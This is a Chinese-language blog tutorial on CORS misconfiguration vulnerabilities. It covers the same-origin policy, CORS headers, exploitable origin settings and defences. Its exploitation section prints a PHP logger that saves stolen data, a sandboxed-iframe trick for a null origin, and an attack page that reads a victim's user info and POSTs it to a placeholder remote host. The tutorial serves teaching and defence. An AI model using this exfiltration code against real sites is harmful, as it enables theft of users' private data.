目录

Web安全-CORS漏洞

https://image.xfeng.io/QmRv3rocccU8RJ8ZV8wipxJuvXJ4Z1BiQdmdqnCtCNtDYm.png

跨域资源共享(cors)可以放宽浏览器的同源策略,让不同的网站和不同的服务器之间通信

1. 同源策略

同源策略是一个非常重要的安全策略,它用于限制一个origin的文档或它加载的脚本如何能与另一个源的资源进行交互。简单来说就是:同源策略允许运行在页面的脚本如JavaScript可以无限制地访问同一个网站(同源)中其他脚本的任何方法和属性。这里提到的一个点:同源

什么是同源?

  • 同协议(如:都是www)
  • 同域名(域名和它的子域名不是同源)
  • 同端口(如:都是80端口)

其实就是URL地址的前几个部分

同源策略就简单介绍到这里,想要详细了解的话可以点击这里

2. 什么是CORS

在这个web2.0的时代,同源策略的限制太多了,因此有了放宽同源策略限制的技术,那就是跨域资源共享(CORS)。

这种机制通过在HTTP头部添加字段,允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制

在用浏览器发送时,会自动在请求头中添加Origin字段,服务端验证Origin字段是否被允许,如果允许,那就可以进行跨域访问了 {

CORS的标准定义是:通过设置HTTP头部字段,让客户端能够跨域访问资源。

CORS定义了两种跨域请求:

  • 简单请求:使用设定的请求方式请求资源
  • 非简单请求:先发送一个OPTION预检请求,验证请求源是否为服务端所允许的源,预检通过后,发送请求,请求资源

主要的头部字段:

  • Origin:表明预检请求或实际请求的源站
  • Access-Control-Request-Method:用于预检请求,其作用是将实际请求所使用的HTTP方法告诉服务端
  • Access-Control-Request-Headers:用于预检请求,其作用是将实际请求所携带的头部字段告诉服务端
  • Access-Control-Allow-Origin:该字段的值可以是请求时Origin字段的值,也可以是一个*( * 表示接受任意域名)
  • Access-Control-Allow-Credentials :该字段是一个布尔值,为true的时候表示cookie可以包含在请求中一起发送给服务器

3. CORS的攻击与利用

漏洞利用的最终目的是:受害者只要访问一个攻击页面,攻击者就可以获取到敏感信息

3.1 有用户凭证的利用

Access-Control-Allow-Origin 值 Access-Control-Allow-Credentials 值 是否可利用
https://attacker.com true
null true
* true

3.2 没有用户凭证的利用

这种情况下是没有cookie传输的,所以攻击者很难拿到cookie。

Access-Control-Allow-Origin 值 是否可利用
https://attacker.com
null
*

上表中的null源是为了网页跳转或来自本地HTML文件。

3.2.1 利用null源

使用沙盒iframe来获取null源

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>

使用上面的iframe产生一个类似于下面的请求:

1
2
3
GET /handler
Host: target.local
Origin: null

服务器接收到null源返回类似于下面的报文:

1
2
3
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

3.3 利用XMLHttpRequest发包

  1. 在远程服务器上准备记录代码(用于获取敏感信息)
1
2
3
4
5
6
7
<?php
$data = $_POST['hack'];
if($data){
    $myfile = fopen("hacker.html","w");
    fwrite($myfile,$data);
    fclose($myfile);
}
  1. 构建攻击页面
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</head>
<body>
<script>
	function cors() {
		var xhr = new XMLHttpRequest();
		var xhr1 = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if(xhr.readyState == 4){
				alert(xhr.responseText)
				var data = xhr.responseText;
				xhr1.open("POST","<http://xxxxxx/hack.php>",true);
				xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
				alert(data);
				xhr1.send("hack123"+escape(data));
			}
		}
		xhr.open("GET",'<http://xxxx/userinfo.php>');
		xhr.send();
	}
	cors();
</script>
</body>
</html>
  1. 当受害者访问攻击页面,服务器上就会记录敏感信息

4. 几个利用工具

  • Brupsuite自带cors检验,但误报率较高
  • X-ray检测
  • CORScanner

5. CORS的防御

  • 严格校验来自请求数据包中的Origin的值
  • 不要配置Access-Control-Allow-Origin字段的值为*
  • 避免使用Access-Control-Allow-Credentials: true
  • 避免使用OCRS
  • 定义白名单
  • 使用安全协议
  • 限制缓存时间
  • 仅配置所需的头部

6. 参考链接

cors安全完全指南